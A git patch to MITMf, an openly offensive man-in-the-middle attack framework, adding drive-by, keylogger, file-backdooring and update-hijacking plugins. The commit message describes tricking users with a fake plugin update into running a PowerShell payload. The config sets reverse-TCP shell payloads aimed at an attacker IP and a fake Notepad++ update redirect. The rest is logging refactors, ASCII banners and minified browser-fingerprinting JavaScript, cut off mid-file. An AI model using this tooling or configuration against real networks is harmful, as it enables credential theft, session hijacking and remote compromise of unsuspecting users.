for os and browser detection, let's us fingerprint hosts even if UA is lying! - New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload - the API of the plugins has been simplified - Improvements and error handling to user-agent parsing - Some misc bugfixes --- README.md | 10 +- config/hta_driveby/Flash.hta | 4 + config/mitmf.conf | 16 +- core/banners.py | 70 + core/configwatcher.py | 9 +- core/ferretng/ClientRequest.py | 23 +- core/ferretng/DnsCache.py | 4 - core/ferretng/SSLServerConnection.py | 11 +- core/ferretng/ServerConnection.py | 29 +- core/ferretng/ServerConnectionFactory.py | 8 +- core/ferretng/URLMonitor.py | 3 - core/html/htadriveby.html | 71 + core/javascript/plugindetect.js | 1310 ++++++++++++++++- core/mitmfapi.py | 104 ++ core/msfrpc.py | 19 +- core/netcreds/NetCreds.py | 4 - core/poisoners/arp/ARPWatch.py | 88 -- core/poisoners/arp/ARPpoisoner.py | 266 ++-- core/poisoners/dhcp/DHCPpoisoner.py | 34 +- core/poisoners/icmp/ICMPpoisoner.py | 10 +- ...ANFingerprinter.py => LANfingerprinter.py} | 33 +- .../ftp/{FTPServer.py => FTPserver.py} | 18 +- core/responder/https/HTTPSProxy.py | 145 -- core/responder/https/__init__.py | 0 .../imap/{IMAPServer.py => IMAPserver.py} | 16 +- .../kerberos/{KERBServer.py => KERBserver.py} | 26 +- .../ldap/{LDAPServer.py => LDAPserver.py} | 24 +- .../{LLMNRPoisoner.py => LLMNRpoisoner.py} | 50 +- .../mdns/{MDNSPoisoner.py => MDNSpoisoner.py} | 22 +- .../mssql/{MSSQLServer.py => MSSQLserver.py} | 30 +- .../{NBTNSPoisoner.py => NBTNSpoisoner.py} | 48 +- .../pop3/{POP3Server.py => POP3server.py} | 20 +- .../smtp/{SMTPServer.py => SMTPserver.py} | 14 +- core/responder/wpad/HTTPPackets.py | 275 ---- core/responder/wpad/WPADPoisoner.py | 157 -- core/responder/wpad/__init__.py | 0 core/sergioproxy/ProxyPlugins.py | 49 +- core/servers/dns/DNSchef.py | 51 +- core/servers/http/HTTPServer.py | 82 -- core/servers/http/HTTPserver.py | 48 + core/servers/smb/SMBserver.py | 44 +- core/sslstrip/ClientRequest.py | 32 +- core/sslstrip/DnsCache.py | 6 +- core/sslstrip/SSLServerConnection.py | 16 +- core/sslstrip/ServerConnection.py | 65 +- core/sslstrip/ServerConnectionFactory.py | 8 +- core/sslstrip/URLMonitor.py | 18 +- core/utils.py | 157 +- libs/bdfactory | 2 +- mitmf.py | 63 +- plugins/appcachepoison.py | 197 +++ plugins/browserprofiler.py | 45 + plugins/ferretng.py | 100 ++ plugins/filepwn.py | 632 ++++++++ plugins/htadriveby.py | 56 + plugins/{Inject.py => inject.py} | 120 +- plugins/jskeylogger.py | 62 + plugins/plugin.py | 4 +- plugins/replace.py | 53 + plugins/responder.py | 141 ++ plugins/screenshotter.py | 59 + plugins/smbauth.py | 41 + plugins/smbtrap.py | 38 + plugins/upsidedownternet.py | 61 + 64 files changed, 3748 insertions(+), 1473 deletions(-) create mode 100644 config/hta_driveby/Flash.hta create mode 100644 core/banners.py create mode 100644 core/html/htadriveby.html create mode 100644 core/mitmfapi.py delete mode 100644 core/poisoners/arp/ARPWatch.py rename core/responder/fingerprinter/{LANFingerprinter.py => LANfingerprinter.py} (86%) rename core/responder/ftp/{FTPServer.py => FTPserver.py} (74%) delete mode 100644 core/responder/https/HTTPSProxy.py delete mode 100644 core/responder/https/__init__.py rename core/responder/imap/{IMAPServer.py => IMAPserver.py} (70%) rename core/responder/kerberos/{KERBServer.py => KERBserver.py} (87%) rename core/responder/ldap/{LDAPServer.py => LDAPserver.py} (84%) rename core/responder/llmnr/{LLMNRPoisoner.py => LLMNRpoisoner.py} (68%) rename core/responder/mdns/{MDNSPoisoner.py => MDNSpoisoner.py} (78%) rename core/responder/mssql/{MSSQLServer.py => MSSQLserver.py} (78%) rename core/responder/nbtns/{NBTNSPoisoner.py => NBTNSpoisoner.py} (69%) rename core/responder/pop3/{POP3Server.py => POP3server.py} (69%) rename core/responder/smtp/{SMTPServer.py => SMTPserver.py} (78%) delete mode 100644 core/responder/wpad/HTTPPackets.py delete mode 100644 core/responder/wpad/WPADPoisoner.py delete mode 100644 core/responder/wpad/__init__.py delete mode 100644 core/servers/http/HTTPServer.py create mode 100644 core/servers/http/HTTPserver.py create mode 100644 plugins/appcachepoison.py create mode 100644 plugins/browserprofiler.py create mode 100644 plugins/ferretng.py create mode 100644 plugins/filepwn.py create mode 100644 plugins/htadriveby.py rename plugins/{Inject.py => inject.py} (62%) create mode 100644 plugins/jskeylogger.py create mode 100644 plugins/replace.py create mode 100644 plugins/responder.py create mode 100644 plugins/screenshotter.py create mode 100644 plugins/smbauth.py create mode 100644 plugins/smbtrap.py create mode 100644 plugins/upsidedownternet.py diff --git a/README.md b/README.md index 3a5fad3..f1a7b8d 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,4 @@ -MITMf V0.9.7 -============ +#MITMf V0.9.8 - 'The Dark Side' Framework for Man-In-The-Middle attacks @@ -7,10 +6,9 @@ Quick tutorials, examples and developer updates at: https://byt3bl33d3r.github.i This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-proxy) and is an attempt to revive and update the project. -Contact me at: -- Twitter: @byt3bl33d3r -- IRC on Freenode: #MITMf -- Email: byt3bl33d3r@gmail.com +Twitter: @byt3bl33d3r +IRC on Freenode: #MITMf +Email: byt3bl33d3r@gmail.com **Update: Installation steps have changed! Please read the new [instructions](#installation)** diff --git a/config/hta_driveby/Flash.hta b/config/hta_driveby/Flash.hta new file mode 100644 index 0000000..38adcf1 --- /dev/null +++ b/config/hta_driveby/Flash.hta @@ -0,0 +1,4 @@ + \ No newline at end of file diff --git a/config/mitmf.conf b/config/mitmf.conf index a88004b..1747651 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -25,7 +25,7 @@ # port = 445 - type = normal # Can be set to Normal or Karma + mode = normal # Can be set to Normal or Karma # Set a custom challenge Challenge = 1122334455667788 @@ -57,14 +57,13 @@ # ini = /tmp/desktop.ini # bat = /tmp/evil.bat - #This is still experimental, don't uncomment pls! - #[[HTTP]] + [[HTTP]] # # Here you can configure MITMf's internal HTTP server # - #port = 80 + port = 80 #[[[Paths]]] @@ -477,7 +476,7 @@ # PATCH_METHOD overwrites PATCH_TYPE with jump # PATCH_METHOD = automatic PATCH_METHOD = - HOST = 192.168.1.16 + HOST = 192.168.10.11 PORT = 8443 SHELL = iat_reverse_tcp_stager_threaded SUPPLIED_SHELLCODE = None @@ -511,3 +510,10 @@ PORT = 5555 SUPPLIED_SHELLCODE = None MSFPAYLOAD = linux/x64/shell_reverse_tcp + +[EvilGrade] + + [[NotePad++]] + host = 'notepad-plus-plus.org' + url = '/update/getDownloadUrl.php?version=' + data = r'yes%RAND%http://notepad-plus-plus.org/repository/%RAND%/%RAND%/npp.%RAND%.Installer.exe' \ No newline at end of file diff --git a/core/banners.py b/core/banners.py new file mode 100644 index 0000000..51438c8 --- /dev/null +++ b/core/banners.py @@ -0,0 +1,70 @@ +# -*- coding: utf-8 -*- + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import random + +banner1 = """ + __ __ ___ .--. __ __ ___ +| |/ `.' `. |__| | |/ `.' `. _.._ +| .-. .-. '.--. .| | .-. .-. ' .' .._| +| | | | | || | .' |_ | | | | | | | ' +| | | | | || | .' || | | | | | __| |__ +| | | | | || |'--. .-'| | | | | ||__ __| +| | | | | || | | | | | | | | | | | +|__| |__| |__||__| | | |__| |__| |__| | | + | '.' | | + | / | | + `'-' |_| +""" + +banner2= """ + ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒ +▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒ +▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░ +▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░ +▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░ +░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░ +░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ +░ ░ ▒ ░ ░ ░ ░ ░ ░ + ░ ░ ░ +""" + +banner3 = """ + ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ + ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ + ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ + ███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄ + ███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ +""" + +banner4 = """ +███╗ ███╗██╗████████╗███╗ ███╗███████╗ +████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝ +██╔████╔██║██║ ██║ ██╔████╔██║█████╗ +██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝ +██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║ +╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ +""" + +def get_banner(): + banners = [banner1, banner2, banner3, banner4] + return random.choice(banners) diff --git a/core/configwatcher.py b/core/configwatcher.py index 2fde1a3..540b337 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -18,24 +18,17 @@ # USA # -import logging - from mitmflib.watchdog.observers import Observer from mitmflib.watchdog.events import FileSystemEventHandler from configobj import ConfigObj -logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages - -log = logging.getLogger('mitmf') - -class ConfigWatcher(FileSystemEventHandler): +class ConfigWatcher(FileSystemEventHandler, object): @property def config(self): return ConfigObj("./config/mitmf.conf") def on_modified(self, event): - log.debug("[{}] Detected configuration changes, reloading!".format(self.name)) self.on_config_change() def start_config_watch(self): diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py index c9eeb36..1ca45d8 100644 --- a/core/ferretng/ClientRequest.py +++ b/core/ferretng/ClientRequest.py @@ -39,7 +39,8 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ClientRequest", formatter) class ClientRequest(Request): @@ -62,7 +63,7 @@ class ClientRequest(Request): if 'accept-encoding' in headers: del headers['accept-encoding'] - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Zapped encoding") + log.debug("[ClientRequest] Zapped encoding") if 'if-modified-since' in headers: del headers['if-modified-since'] @@ -74,10 +75,10 @@ class ClientRequest(Request): try: for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]: if headers['host'] == entry['host']: - mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host'])) + log.info("Hijacking session for host: {}".format(headers['host'])) headers['cookie'] = entry['cookie'] except KeyError: - mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) + log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) pass return headers @@ -90,7 +91,7 @@ class ClientRequest(Request): return self.uri def handleHostResolvedSuccess(self, address): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -107,18 +108,18 @@ class ClientRequest(Request): self.dnsCache.cacheResolution(hostparts[0], address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending expired cookies") + log.debug("[ClientRequest] Sending expired cookies") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via SSL ({})".format((client,url))) + log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via HTTP") + log.debug("[ClientRequest] Sending request via HTTP") #self.proxyViaHTTP(address, self.method, path, postData, headers) port = 80 if len(hostparts) > 1: @@ -127,7 +128,7 @@ class ClientRequest(Request): self.proxyViaHTTP(address, self.method, path, postData, headers, port) def handleHostResolvedError(self, error): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host resolution error: {}".format(error)) + log.debug("[ClientRequest] Host resolution error: {}".format(error)) try: self.finish() except: @@ -137,13 +138,13 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host cached: {} {}".format(host, address)) + log.debug("[ClientRequest] Host cached: {} {}".format(host, address)) return defer.succeed(address) else: return reactor.resolve(host) def process(self): - mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) host = self.getHeader('host').split(":")[0] deferred = self.resolveHost(host) diff --git a/core/ferretng/DnsCache.py b/core/ferretng/DnsCache.py index f0cc638..f839f23 100644 --- a/core/ferretng/DnsCache.py +++ b/core/ferretng/DnsCache.py @@ -16,10 +16,6 @@ # USA # -import logging - -mitmf_logger = logging.getLogger('mitmf') - class DnsCache: ''' diff --git a/core/ferretng/SSLServerConnection.py b/core/ferretng/SSLServerConnection.py index 82dc8d1..d783c10 100644 --- a/core/ferretng/SSLServerConnection.py +++ b/core/ferretng/SSLServerConnection.py @@ -21,7 +21,8 @@ import logging, re, string from ServerConnection import ServerConnection from URLMonitor import URLMonitor -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_SSLServerConnection", formatter) class SSLServerConnection(ServerConnection): @@ -63,13 +64,13 @@ class SSLServerConnection(ServerConnection): if ((not link.startswith('http')) and (not link.startswith('/'))): absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found path-relative link in secure transmission: " + link) - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) elif not link.startswith('http'): absoluteLink = "http://"+self.headers['host']+link - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found relative link in secure transmission: " + link) - mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute link: " + absoluteLink) + log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) if not absoluteLink == "": absoluteLink = absoluteLink.replace('&', '&') diff --git a/core/ferretng/ServerConnection.py b/core/ferretng/ServerConnection.py index e1e04ef..b08e943 100644 --- a/core/ferretng/ServerConnection.py +++ b/core/ferretng/ServerConnection.py @@ -28,7 +28,8 @@ import sys from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -mitmf_logger = logging.getLogger('mitmf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnection", formatter) class ServerConnection(HTTPClient): @@ -66,13 +67,13 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': - mitmf_logger.debug(self.client.getClientIP() + " [Ferret-NG] Sending Request: {}".format(self.headers['host'])) + log.debug(self.client.getClientIP() + "Sending Request: {}".format(self.headers['host'])) self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Sending header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value)) self.sendHeader(header, value) self.endHeaders() @@ -82,7 +83,7 @@ class ServerConnection(HTTPClient): self.transport.write(self.postData) def connectionMade(self): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] HTTP connection made.") + log.debug("[ServerConnection] HTTP connection made.") self.sendRequest() self.sendHeaders() @@ -90,7 +91,7 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Server response: {} {} {}".format(version, code, message)) + log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): @@ -100,15 +101,15 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is image content, not scanning") + log.debug("[ServerConnection] Response is image content, not scanning") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is compressed") + log.debug("[ServerConnection] Response is compressed") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Zapped a strict-trasport-security header") + log.debug("[ServerConnection] Zapped a strict-trasport-security header") elif (key.lower() == 'content-length'): self.contentLength = value @@ -126,9 +127,9 @@ class ServerConnection(HTTPClient): if self.length == 0: self.shutdown() - if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG": + if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG": for header, value in self.client.headers.iteritems(): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Receiving header: ({}: {})".format(header, value)) + log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value)) def handleResponsePart(self, data): if (self.isImageRequest): @@ -147,12 +148,12 @@ class ServerConnection(HTTPClient): def handleResponse(self, data): if (self.isCompressed): - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Decompressing content...") + log.debug("[ServerConnection] Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() data = self.replaceSecureLinks(data) - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Read from server {} bytes of data".format(len(data))) + log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) @@ -165,7 +166,7 @@ class ServerConnection(HTTPClient): try: self.shutdown() except: - mitmf_logger.info("[Ferret-NG] [ServerConnection] Client connection dropped before request finished.") + log.info("[ServerConnection] Client connection dropped before request finished.") def replaceSecureLinks(self, data): @@ -174,7 +175,7 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - mitmf_logger.debug("[Ferret-NG] [ServerConnection] Found secure reference: " + url) + log.debug("[ServerConnection] Found secure reference: " + url) url = url.replace('https://', 'http://', 1) url = url.replace('&', '&') diff --git a/core/ferretng/ServerConnectionFactory.py b/core/ferretng/ServerConnectionFactory.py index a64c800..bd9c83b 100644 --- a/core/ferretng/ServerConnectionFactory.py +++ b/core/ferretng/ServerConnectionFactory.py @@ -17,9 +17,11 @@ # import logging +from core.logger import logger from twisted.internet.protocol import ClientFactory -mitmf_logger = logging.getLogger('mimtf') +formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter) class ServerConnectionFactory(ClientFactory): @@ -34,12 +36,12 @@ class ServerConnectionFactory(ClientFactory): return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) def clientConnectionFailed(self, connector, reason): - mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.") + log.debug("Server connection failed.") destination = connector.getDestination() if (destination.port != 443): - mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL") + log.debug("Retrying via SSL") self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) else: try: diff --git a/core/ferretng/URLMonitor.py b/core/ferretng/URLMonitor.py index 85386f9..1773fc2 100644 --- a/core/ferretng/URLMonitor.py +++ b/core/ferretng/URLMonitor.py @@ -18,9 +18,6 @@ import re import os -import logging - -mitmf_logger = logging.getLogger('mimtf') class URLMonitor: diff --git a/core/html/htadriveby.html b/core/html/htadriveby.html new file mode 100644 index 0000000..f35ff4e --- /dev/null +++ b/core/html/htadriveby.html @@ -0,0 +1,71 @@ + \ No newline at end of file diff --git a/core/javascript/plugindetect.js b/core/javascript/plugindetect.js index 6f25433..bf85b89 100644 --- a/core/javascript/plugindetect.js +++ b/core/javascript/plugindetect.js @@ -8,6 +8,1227 @@ www.pinlady.net/PluginDetect/license/ var PluginDetect={version:"0.9.0",name:"PluginDetect",addPlugin:function(p,q){if(p&&PluginDetect.isString(p)&&q&&PluginDetect.isFunc(q.getVersion)){p=p.replace(/\s/g,"").toLowerCase();PluginDetect.Plugins[p]=q;if(!PluginDetect.isDefined(q.getVersionDone)){q.installed=null;q.version=null;q.version0=null;q.getVersionDone=null;q.pluginName=p;}}},uniqueName:function(){return PluginDetect.name+"998"},openTag:"<",hasOwnPROP:({}).constructor.prototype.hasOwnProperty,hasOwn:function(s,t){var p;try{p=PluginDetect.hasOwnPROP.call(s,t)}catch(q){}return !!p},rgx:{str:/string/i,num:/number/i,fun:/function/i,arr:/array/i},toString:({}).constructor.prototype.toString,isDefined:function(p){return typeof p!="undefined"},isArray:function(p){return PluginDetect.rgx.arr.test(PluginDetect.toString.call(p))},isString:function(p){return PluginDetect.rgx.str.test(PluginDetect.toString.call(p))},isNum:function(p){return PluginDetect.rgx.num.test(PluginDetect.toString.call(p))},isStrNum:function(p){return PluginDetect.isString(p)&&(/\d/).test(p)},isFunc:function(p){return PluginDetect.rgx.fun.test(PluginDetect.toString.call(p))},getNumRegx:/[\d][\d\.\_,\-]*/,splitNumRegx:/[\.\_,\-]/g,getNum:function(q,r){var p=PluginDetect.isStrNum(q)?(PluginDetect.isDefined(r)?new RegExp(r):PluginDetect.getNumRegx).exec(q):null;return p?p[0]:null},compareNums:function(w,u,t){var s,r,q,v=parseInt;if(PluginDetect.isStrNum(w)&&PluginDetect.isStrNum(u)){if(PluginDetect.isDefined(t)&&t.compareNums){return t.compareNums(w,u)}s=w.split(PluginDetect.splitNumRegx);r=u.split(PluginDetect.splitNumRegx);for(q=0;qv(r[q],10)){return 1}if(v(s[q],10)r||!(/\d/).test(s[p])){s[p]="0"}}return s.slice(0,4).join(",")},pd:{getPROP:function(s,q,p){try{if(s){p=s[q]}}catch(r){}return p},findNavPlugin:function(u){if(u.dbug){return u.dbug}var A=null;if(window.navigator){var z={Find:PluginDetect.isString(u.find)?new RegExp(u.find,"i"):u.find,Find2:PluginDetect.isString(u.find2)?new RegExp(u.find2,"i"):u.find2,Avoid:u.avoid?(PluginDetect.isString(u.avoid)?new RegExp(u.avoid,"i"):u.avoid):0,Num:u.num?/\d/:0},s,r,t,y,x,q,p=navigator.mimeTypes,w=navigator.plugins;if(u.mimes&&p){y=PluginDetect.isArray(u.mimes)?[].concat(u.mimes):(PluginDetect.isString(u.mimes)?[u.mimes]:[]);for(s=0;s-1&&p>r&&s[p]!="0"){return q}if(v[p]!=s[p]){if(r==-1){r=p}if(s[p]!="0"){return q}}}return t},AXO:(function(){var q;try{q=new window.ActiveXObject()}catch(p){}return q?null:window.ActiveXObject})(),getAXO:function(p){var r=null;try{r=new PluginDetect.AXO(p)}catch(q){PluginDetect.errObj=q;}if(r){PluginDetect.browser.ActiveXEnabled=!0}return r},browser:{detectPlatform:function(){var r=this,q,p=window.navigator?navigator.platform||"":"";PluginDetect.OS=100;if(p){var s=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(q=s.length-2;q>=0;q=q-2){if(s[q]&&new RegExp(s[q],"i").test(p)){PluginDetect.OS=s[q+1];break}}}},detectIE:function(){var r=this,u=document,t,q,v=window.navigator?navigator.userAgent||"":"",w,p,y;r.ActiveXFilteringEnabled=!1;r.ActiveXEnabled=!1;try{r.ActiveXFilteringEnabled=!!window.external.msActiveXFilteringEnabled()}catch(s){}p=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","TDCCtl.TDCCtl","Shell.UIHelper","HtmlDlgSafeHelper.HtmlDlgSafeHelper","Scripting.Dictionary"];y=["WMPlayer.OCX","ShockwaveFlash.ShockwaveFlash","AgControl.AgControl"];w=p.concat(y);for(t=0;t=7?u.documentMode:0)||((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v)?parseFloat(RegExp.$1,10):7)}},detectNonIE:function(){var p=this,s=window.navigator?navigator:{},r=p.isIE?"":s.userAgent||"",t=s.vendor||"",q=s.product||"";p.isGecko=(/Gecko/i).test(q)&&(/Gecko\s*\/\s*\d/i).test(r);p.verGecko=p.isGecko?PluginDetect.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(r)?RegExp.$1:"0.9"):null;p.isOpera=(/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(r);p.verOpera=p.isOpera?PluginDetect.formatNum(RegExp.$2):null;p.isChrome=!p.isOpera&&(/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(r);p.verChrome=p.isChrome?PluginDetect.formatNum(RegExp.$2):null;p.isSafari=!p.isOpera&&!p.isChrome&&((/Apple/i).test(t)||!t)&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(r);p.verSafari=p.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(r)?PluginDetect.formatNum(RegExp.$1):null;},init:function(){var p=this;p.detectPlatform();p.detectIE();p.detectNonIE()}},init:{hasRun:0,library:function(){window[PluginDetect.name]=PluginDetect;var q=this,p=document;PluginDetect.win.init();PluginDetect.head=p.getElementsByTagName("head")[0]||p.getElementsByTagName("body")[0]||p.body||null;PluginDetect.browser.init();q.hasRun=1;}},ev:{addEvent:function(r,q,p){if(r&&q&&p){if(r.addEventListener){r.addEventListener(q,p,false)}else{if(r.attachEvent){r.attachEvent("on"+q,p)}else{r["on"+q]=this.concatFn(p,r["on"+q])}}}},removeEvent:function(r,q,p){if(r&&q&&p){if(r.removeEventListener){r.removeEventListener(q,p,false)}else{if(r.detachEvent){r.detachEvent("on"+q,p)}}}},concatFn:function(q,p){return function(){q();if(typeof p=="function"){p()}}},handler:function(t,s,r,q,p){return function(){t(s,r,q,p)}},handlerOnce:function(s,r,q,p){return function(){var u=PluginDetect.uniqueName();if(!s[u]){s[u]=1;s(r,q,p)}}},handlerWait:function(s,u,r,q,p){var t=this;return function(){t.setTimeout(t.handler(u,r,q,p),s)}},setTimeout:function(q,p){if(PluginDetect.win&&PluginDetect.win.unload){return}setTimeout(q,p)},fPush:function(q,p){if(PluginDetect.isArray(p)&&(PluginDetect.isFunc(q)||(PluginDetect.isArray(q)&&q.length>0&&PluginDetect.isFunc(q[0])))){p.push(q)}},call0:function(q){var p=PluginDetect.isArray(q)?q.length:-1;if(p>0&&PluginDetect.isFunc(q[0])){q[0](PluginDetect,p>1?q[1]:0,p>2?q[2]:0,p>3?q[3]:0)}else{if(PluginDetect.isFunc(q)){q(PluginDetect)}}},callArray0:function(p){var q=this,r;if(PluginDetect.isArray(p)){while(p.length){r=p[0];p.splice(0,1);if(PluginDetect.win&&PluginDetect.win.unload&&p!==PluginDetect.win.unloadHndlrs){}else{q.call0(r)}}}},call:function(q){var p=this;p.call0(q);p.ifDetectDoneCallHndlrs()},callArray:function(p){var q=this;q.callArray0(p);q.ifDetectDoneCallHndlrs()},allDoneHndlrs:[],ifDetectDoneCallHndlrs:function(){var r=this,p,q;if(!r.allDoneHndlrs.length){return}if(PluginDetect.win){if(!PluginDetect.win.loaded||PluginDetect.win.loadPrvtHndlrs.length||PluginDetect.win.loadPblcHndlrs.length){return}}if(PluginDetect.Plugins){for(p in PluginDetect.Plugins){if(PluginDetect.hasOwn(PluginDetect.Plugins,p)){q=PluginDetect.Plugins[p];if(q&&PluginDetect.isFunc(q.getVersion)){if(q.OTF==3||(q.DoneHndlrs&&q.DoneHndlrs.length)||(q.BIHndlrs&&q.BIHndlrs.length)){return}}}}}r.callArray0(r.allDoneHndlrs);}},isMinVersion:function(v,u,r,q){var s=PluginDetect.pd.findPlugin(v),t,p=-1;if(s.status<0){return 